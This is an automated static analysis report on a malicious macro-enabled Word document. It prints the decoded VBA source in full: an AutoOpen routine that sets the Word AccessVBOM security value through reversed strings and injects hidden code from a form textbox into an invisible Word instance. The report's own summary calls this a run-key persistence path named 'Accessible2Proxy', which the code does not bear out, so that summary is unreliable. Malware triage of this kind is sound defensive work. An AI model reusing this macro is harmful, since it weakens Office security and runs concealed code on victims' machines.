Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 25ff70ae9ced0aa5…

MALICIOUS

Office (OOXML)

75.9 KB Created: 2021-05-04 09:01:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-26
MD5: 29b3b0568c58a4657d260fc033bb4764 SHA-1: 6f3813f8e20ef43fe975ed7aebef09313126d275 SHA-256: 25ff70ae9ced0aa53e98b9e296f241481ab569ce950840b92b2aaf8e3a649a0d
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an OOXML document containing VBA macros. The 'autoopen' macro executes 'mainLocalSelect', which uses WScript.Shell to write a registry value. This action is intended to establish persistence by creating a registry run key. The reconstructed registry path is HKCU\Software\Microsoft\Office\16.0\Word\Security\Accessible2Proxy.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub buttonVariablePaste(pointerView)
With CreateObject("wscript.shell")
.RegWrite pointerView, 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub exceptionTmp(trustExCollection As String)
Set selectData = CreateObject("word.application")
With selectData.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "swapRepoVb"
Sub autoopen()
mainLocalSelect
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1721 bytes
SHA-256: 29cc40289b7bd5230d8cc5c3ab7804b1f8c01b2ce9312aa1ac26558062c82a5d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{F3F9FF18-00BD-4AB9-8FEC-8D26AF571A73}{C095C42D-B843-4BAA-B90F-F15F12807229}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "swapRepoVb"
Sub autoopen()
mainLocalSelect
Dim trustSize As String
trustSize = dataW
exceptionTmp trustSize
End Sub

Attribute VB_Name = "documentMem"
Sub exceptionTmp(trustExCollection As String)
Set selectData = CreateObject("word.application")
With selectData.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString trustExCollection
End With
selectData.Visible = False
selectData.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "listboxClass"
Function valueSizeClear() As String
valueSizeClear = Application.Version
End Function
Sub buttonVariablePaste(pointerView)
With CreateObject("wscript.shell")
.RegWrite pointerView, 1, "REG_DWORD"
End With
End Sub
Sub mainLocalSelect()
pointerView = StrReverse("\eciffO\tfosorciM\erawtfoS\RESU_TNERRUC_YEKH")
textboxExLink = valueSizeClear
structMemoryTextbox = StrReverse("MOBVsseccA\ytiruceS\droW\")
buttonVariablePaste pointerView & textboxExLink & structMemoryTextbox
End Sub
Function dataW()
dataW = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: 760b2bf147e2f7a5f8c8283683d5806bb59439994beb015809fe14685c3a024f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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